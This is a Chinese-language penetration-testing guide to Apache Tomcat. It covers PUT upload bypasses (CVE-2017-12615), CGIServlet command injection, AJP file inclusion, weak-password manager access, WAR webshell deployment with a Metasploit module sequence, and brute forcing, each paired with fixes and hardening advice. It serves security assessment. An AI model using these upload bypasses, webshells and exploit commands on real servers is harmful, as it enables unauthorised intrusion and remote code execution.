Tomcat渗透合集
字数 2036 2025-08-09 19:58:18
Tomcat渗透测试全面指南
1. Tomcat基础介绍
Tomcat是一个开源的轻量级Web应用服务器,广泛用于中小型系统和并发访问量不大的场景。它是开发和调试JSP程序的首选。
- 版本信息:当前主流版本为7~10
- 默认端口:8080
- 运行要求:需要Java环境支持,版本需匹配(Tomcat 8+需要Java 7+)
2. Tomcat关键配置文件
2.1 核心配置文件
- server.xml:配置Tomcat启动的端口号、host主机、Context等
- web.xml:部署描述文件,包含默认servlet配置
- tomcat-users.xml:存储Tomcat用户密码与权限信息
2.2 上传目录
Tomcat默认上传目录位于webapps目录下,这是渗透测试中需要重点关注的区域。
3. Tomcat渗透漏洞详解
3.1 Tomcat任意文件写入漏洞(CVE-2017-12615)
影响范围
- Apache Tomcat 7.0.0-7.0.81(默认配置)
漏洞原理
配置不当导致,当conf/web.xml中的readonly参数设置为false时,攻击者可以使用PUT方法上传任意文件。
复现步骤
- 使用vulhub环境搭建测试环境
- 通过PUT方法上传文件:
PUT /test.txt HTTP/1.1 Host: target:8080 Content-Length: 5 test
绕过jsp上传限制的方法
- Windows空格绕过:
PUT /shell.jsp%20 HTTP/1.1 - NTFS流绕过:
PUT /shell.jsp::$DATA HTTP/1.1 - 非法字符绕过:
PUT /shell.jsp/ HTTP/1.1
修复方案
将conf/web.xml中的readonly参数改为true:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
3.2 Tomcat远程代码执行漏洞(CVE-2019-0232)
影响范围
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
漏洞原理
CGIServlet组件在处理Windows平台上的命令行参数时存在缺陷,导致命令注入。
复现步骤
- 修改
conf/web.xml启用CGIServlet:<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> </servlet> - 修改
conf/context.xml添加privileged="true"属性 - 创建测试文件并访问执行命令
修复方案
- 升级到修复版本(Tomcat 9.0.19+)
- 关闭
enableCmdLineArguments参数
3.3 Tomcat弱口令与后台getshell漏洞
常见弱口令组合
- 用户名/密码:tomcat/tomcat
- 用户名/密码:admin/admin
利用方法
- 访问管理后台:
http://target:8080/manager/html - 上传WAR格式的webshell
- 自动部署后访问webshell
WAR包制作方法
- 将JSP马压缩为ZIP文件
- 修改后缀为.war
- 或使用命令:
jar -cvf shell.war shell.jsp
MSF利用模块
use exploit/multi/http/tomcat_mgr_upload
set HttpUsername tomcat
set HttpPassword tomcat
set rhosts target_ip
set rport 8080
exploit
修复建议
- 修改默认密码为复杂密码
- 限制manager页面只允许本地IP访问
- 创建专用Tomcat服务用户并限制权限
3.4 Tomcat manager暴力破解
破解方法
- 抓取登录请求包
- 注意认证头是Base64编码的"用户名:密码"
- 使用Burp Suite等工具进行暴力破解
修复方案
- 取消manager/html功能
- 配置账户锁定机制
- 启用双因素认证
3.5 Tomcat AJP文件包含漏洞(CVE-2020-1938)
影响范围
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
漏洞原理
AJP协议设计缺陷导致可以读取或包含Tomcat上所有webapp目录下的任意文件。
利用工具
使用公开的Python脚本:
python2 tomcat-ajp-lfi.py target_ip -p 8009 -f /WEB-INF/web.xml
文件包含RCE方法
- 上传包含恶意代码的txt文件
- 通过AJP协议包含执行
修复方案
- 升级到安全版本
- 禁用AJP协议(注释掉server.xml中的AJP Connector)
- 配置AJP认证
4. 综合防御建议
- 最小权限原则:以低权限运行Tomcat
- 及时更新:保持Tomcat版本为最新
- 配置加固:
- 禁用不必要的功能
- 修改默认端口
- 启用访问控制
- 日志监控:监控异常访问行为
- 网络隔离:将Tomcat部署在内网环境
5. 渗透测试工具集
- 漏洞扫描:Nmap, Nessus
- 暴力破解:Burp Suite, Hydra
- 漏洞利用:Metasploit, 公开PoC脚本
- Webshell管理:冰蝎, 蚁剑
通过全面了解这些漏洞和防御措施,安全人员可以更好地评估Tomcat服务器的安全性,并采取适当的防护措施。